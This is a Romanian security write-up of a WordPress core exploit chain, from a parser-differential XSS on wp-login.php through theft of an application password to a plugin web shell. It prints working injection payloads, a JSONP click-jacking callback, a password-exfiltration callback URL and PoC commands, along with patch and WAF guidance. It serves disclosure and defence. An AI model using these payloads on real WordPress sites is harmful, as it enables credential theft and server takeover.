Numai testare autorizată.
Toate testele de mai jos au fost efectuate pe un mediu de test local (WordPress 7.0.2 pe localhost). Nu folosiți aceste tehnici pe sisteme care nu vă aparțin sau pentru care nu aveți permisiunea explicită de a le testa.
Rezumat executiv
XSS2Shell nu este o singură vulnerabilitate — este un lanț de exploatare în șapte etape care începe cu un singur caracter (< urmat de un spațiu) care ocolește două analizatoare HTML diferite de pe pagina de autentificare a WordPress și se încheie cu executarea codului PHP pe server sub drepturile utilizatorului www-data.
Ce îl face periculos:
- Etapa 1 nu necesită nicio autentificare — oricine poate executa cod JavaScript pe
wp-login.php. - Se află în nucleul WordPress — nu este un plugin; practic, toate instalările compatibile începând din 2016 sunt afectate.
- Utilizează codul propriu al WordPress —
user-profile.js, REST JSONP, parolele de aplicație, încărcarea pluginurilor — ca gadgeturi. - RCE complet este demonstrat și recunoscut de WordPress — deși este necesar ca un administrator autentificat să fie indus în eroare să dea un singur clic.
Acest articol prezintă fiecare etapă, însoțită de capturi de ecran din laboratorul nostru local.
Mediul de laborator
git clone <acest-repozitoriu> cd xss2shell make up # WordPress 7.0.2 pe http://localhost:9080| Component | URL | Credentials |
|---|---|---|
| Vulnerable WordPress | http://localhost:9080 | admin / admin123! |
| Patched comparison | http://localhost:9081 | (optional) |
| Attacker listener | http://127.0.0.1:9090 | started by PoC script |

Fiecare site WordPress are pagina /wp-login.php. Această pagină reprezintă punctul de intrare pentru întregul lanț.
Etapa 0: Diferența de analiză (cauza principală)
Când autentificarea eșuează, WordPress afișează numele de utilizator introdus într-un mesaj de eroare. Numele de utilizator trece prin două funcții de curățare care au opinii diferite cu privire la ce înseamnă un „tag”:
| Layer | Function | Sees < area as… |
|---|---|---|
| PHP | strip_tags() | Plain text (space after < = not a tag) |
| WordPress KSES | wp_kses_post() | Valid HTML element |
Conținutul folosește un spațiu după<:
<area id="demo-marker"><div id="color-picker" class="reset-pass-submit"><button class="wp-generate-pw color-option">XPe o versiune vulnerabilă de WordPress 7.0.2, acest cod trece de procesul de curățare și ajunge în DOM-ul activ:
./scripts/demo-parser-diff.sh http://localhost:9080
În versiunea actualizată a WordPress 7.0.4, aceeași încărcătură este codificată în format HTML în mesajul de eroare — fără elemente active.
Această eroare există încă din WordPress 4.7 (2016) și a trecut neobservată în urma unor audituri de securitate efectuate de-a lungul anilor.
Etapa 1: XSS înainte de autentificare (nu este necesară autentificarea)
Nodurile DOM inserate corespund selectorilor pe care fișierul user-profile.js al WordPress îi caută pe pagina de autentificare (încărcat pentru procesul de resetare a parolei):
- Elementul
.reset-pass-submit .wp-generate-pweste selectat automat la încărcarea paginii - Clicul declanșează un eveniment către handlerul delegat
al #color-picker - Verificarea
„user_id” === „checkuser_id”se efectuează cu succes, deoarece ambele suntnedefinite - jQuery trimite cereri POST către
ajaxurl— darajaxurlnu există pe pagina de autentificare…
Dacă nu-l dăm la o parte:
<area id=ajaxurl href=/?rest_route=/&_method=GET&_jsonp=alert&_envelope=1>Elementul <area id=ajaxurl> devine window.ajaxurl. jQuery apelează metoda .toString() → returnează atributul href. WordPress REST returnează JSONP → jQuery globalEval() → alert()se execută pe serverul de origine WordPress.

Trimiteți formularul (sau deschideți fișierul demo/stage1-preauth-xss.html și faceți clic pe „Run Stage 1”):

Impactul doar în această etapă: phishingul de date de autentificare pe domeniul real, preluarea sesiunii, apeluri API de aceeași origine — fără nicio autentificare.
Etapa 2: Inginerie socială — clic-ul administratorului
Etapele 2–7 necesită ca un administrator autentificat să deschidă o pagină controlată de atacator. Aceasta este bariera care menține scorul CVSS sub 10 — însă este o situație realistă în cazul atacurilor țintite.
Administratorul ar putea primi următorul mesaj: „Sesiunea ta a expirat — dă clic aici pentru a te autentifica din nou.”

Când se face clic pe ea, pagina atacatorului:
- Deschide o fereastră pop-up secundară (
about:blank) - Redirecționează fereastra principală către pagina de autorizare cu parolă de aplicație a WordPress
- Scrie un formular XSS în fereastra pop-up secundară și îl trimite automat către
wp-login.php

Etapa 3: Executarea metodei „Same-Origin” (SOME) — aprobare automată
Payload-ul XSS al ferestrei secundare modifică callback-ul JSONP din „alert” în:
window.opener.approve.clickWordPress REST încadrează răspunsul:
/**/window.opener.approve.click({...})Mediul de execuție rezolvă window.opener (fereastra părinte) → .approve (butonul #approve ) → .click(). Butonul „Aprobare parolă aplicație” este apăsat automat — fără nicio interacțiune din partea utilizatorului pe pagina respectivă.

Observați adresa URL de callback din pagină: datele de autentificare vor fi trimise la http://127.0.0.1:9090/callback?...&password=[------].
Etapa 4: Captarea parolei aplicației
WordPress generează o nouă parolă de aplicație și redirecționează către adresa `success_url` a atacatorului, cu datele de autentificare incluse în șirul de interogare:
http://127.0.0.1:9090/callback?site_url=http://localhost:9080&user_login=admin&password=XXXX XXXX XXXX XXXX XXXX XXXXAtacatorul dispune acum de datele de autentificare HTTP Basic pentru API-ul REST al WordPress — preluate din propria sesiune a administratorului, fără ca acesta să fi introdus nimic după ce a dat clic pe linkul inițial.
Etapa 5: Publicarea paginii controlate de atacator
Folosind parola aplicației furate, atacatorul trimite o cerere POST la /wp-json/wp/v2/pages și publică o pagină cu cod JavaScript încorporat. Administratorii dispun de dreptul „unfiltered_html” — etichetele script rămân intacte.
Etapa 6: Încărcarea pluginului prin sesiunea de administrator
Codul JavaScript al atacatorului (care rulează în browserul administratorului pe pagina publicată):
- Accesează pagina
/wp-admin/plugin-install.php?tab=uploadpentru a obține codul unic de încărcare - TRIMITE un fișier ZIP dăunător către
/wp-admin/update.php?action=upload-plugin - WordPress îl extrage în
wp-content/plugins/xss2shell/
Nu este necesar ca pluginul să fie activat. Fișierele PHP din directorul pluginului sunt accesibile direct de pe web.
Etapa 7: Executarea de cod de la distanță
GET /wp-content/plugins/xss2shell/shell.php?cmd=whoamiRăspuns:
{ "rce": true, "user": "www-data", "output": "www-data\n" }
Atacatorul poate acum să execute comenzi arbitrare sub identitatea utilizatorului serverului web — să citească fișierul wp-config.php (datele de autentificare pentru baza de date), să facă o copie a bazei de date și să se deplaseze lateral.
Ieșirea completă a terminalului PoC:

Prezentare generală a întregului lanț
diagrama de secvență: participantul A – Atacator, participantul V – Victimă, participantul W – WordPress 7.0.2. Notă deasupra lui V și W: administratorul este autentificat. V->>A: se deschide un link de phishing (1 clic). A->>V: Atacator HTML + fereastră pop-up secundară. V->>W: Fereastra principală → authorize-application.php V->>W: Fereastra secundară trimite prin POST încărcătura XSS către wp-login.php W->>V: JSONP execută window.opener.approve.click Notă privind V și W: Butonul „Aprobare” a fost apăsat automat W->>A: Redirecționare cu parola aplicației A->>W: Pagina de publicare a API-ului REST (autentificare Basic) V->>W: Administratorul accesează pagina → încarcă fișierul ZIP al pluginului V->>W: GET shell.php?cmd=whoami W-->>A: www-dataCât de periculos este, de fapt?
Ce este garantat (grad ridicat de certitudine)
| Property | Value |
|---|---|
| Authentication for XSS | None |
| Affected installs | All WordPress 4.7+ before patch |
| Default-config exploitability | Stage 1 works out of the box |
| User interaction for XSS | Victim visits attacker URL |
Ce necesită condiții suplimentare (calea RCE)
| Condition | Notes |
|---|---|
| Logged-in administrator | Must have active WP session |
| Social engineering | Admin must click attacker link |
| Application Passwords enabled | Default since WP 5.6; needs HTTPS or local env |
| Popup not blocked | Browser must allow window.open from user gesture |
Calibrarea gradului de gravitate
| Metric | Value | Interpretation |
|---|---|---|
| CVSS 4.0 | 8.9 High | Full chain impact scored; not Critical because of UI:A |
| CVSS 3.1 | 6.1 Medium | Older scoring undervalues chained impact |
| EPSS | ~0.77% | Low predicted mass exploitation (Aug 2026) |
| CISA KEV | Not listed | No confirmed in-the-wild mass exploitation yet |
| Public PoCs | Multiple on GitHub | Exploitation window may shrink |
Concluzie: Nu este vorba despre o vulnerabilitate RCE de tip „zero-click” care permite răspândirea prin viermi, precum Log4Shell. Este o vulnerabilitate extrem de tehnică, la nivel de nucleu, care afectează aproximativ 43% din web, în care:
- Etapa 1 reprezintă, în sine, o vulnerabilitate XSS gravă de tip „pre-auth” pe pagina de autentificare
- Întregul lanț transformă un singur clic al administratorului într-o compromitere a serverului
- Cauza principală (diferența dintre analizatoare) se aplică oricărei baze de cod care utilizează mai multe analizatoare HTML
Conform propriului aviz al WordPress, executarea codului la distanță (RCE) necesită „condiții care nu se află sub controlul atacatorului” și „o manevră de inginerie socială reușită”. Această afirmație este corectă — însă lanțul de atac demonstrat face ca aceste condiții să poată fi îndeplinite printr-un singur link.
Reproduceți lanțul complet la nivel local
# 1. Porniți configurarea de laborator # 2. Activați parolele de aplicație pe HTTP (doar în laborator) docker exec xss2shell-wordpress-1 bash -c \ "grep -q WP_ENVIRONMENT_TYPE /var/www/html/wp-config.php || \ sed -i \"/That's all, stop editing/i define( 'WP_ENVIRONMENT_TYPE', 'local' );\" /var/www/html/wp-config.php" # 3. Porniți ascultătorul PoC python3 xss2shell_poc.py -t http://localhost:9080 --lhost 127.0.0.1 --lport 9090 -c "whoami" --keep # 4. În browser: # a. Autentificați-vă ca administrator la http://localhost:9080/wp-login.php # b. Deschideți http://127.0.0.1:9091/phishing-sim.html # c. Faceți clic pe „Open attacker page” (permiteți ferestrele pop-up) # d. Așteptați ca terminalul să afișeze shell-ul + whoamiApărare
| Priority | Action |
|---|---|
| Immediate | Update to WordPress 7.0.3 or your branch's patched release (full list) |
| Verify | ./scripts/demo-parser-diff.sh should show no injected elements |
| Harden | Disable Application Passwords if unused; restrict plugin uploads; enforce 2FA for admins |
| Monitor | Watch for failed-login usernames containing < area patterns |
| WAF | Block < area / < div patterns on wp-login.php POST bodies |
Corecția adaugă funcția esc_html() la numele de utilizator din fluxul de erori al procesului de autentificare — asigurându-se astfel că șirul de caractere este tratat ca text și nu este reanalizat ca HTML.
De ce este important acest lucru pentru cercetarea în domeniul securității
Fiecare verigă din lanț este, luată separat, plictisitoare:
- Diferențial de analiză → operațiuni de întreținere cu gravitate redusă
- S-a încărcat un script greșit pe pagina de autentificare → nivel scăzut
- Validarea callback-ului JSONP prin expresie regulată → nivel mediu
- Parola aplicației în adresa URL de redirecționare → mediu
- Directorul de pluginuri execută cod PHP fără activare → caracteristică prevăzută
Împreună, acestea reprezintă un scor CVSS de 8,9 și un shell.
Lecția: atunci când evaluați vulnerabilitățile XSS, întrebați-vă : „Ce este deja încărcat pe această pagină și ce se va întâmpla dacă îi furnizez nodurile DOM potrivite?” Gravitatea este o proprietate a lanțului, nu a vulnerabilității în sine.

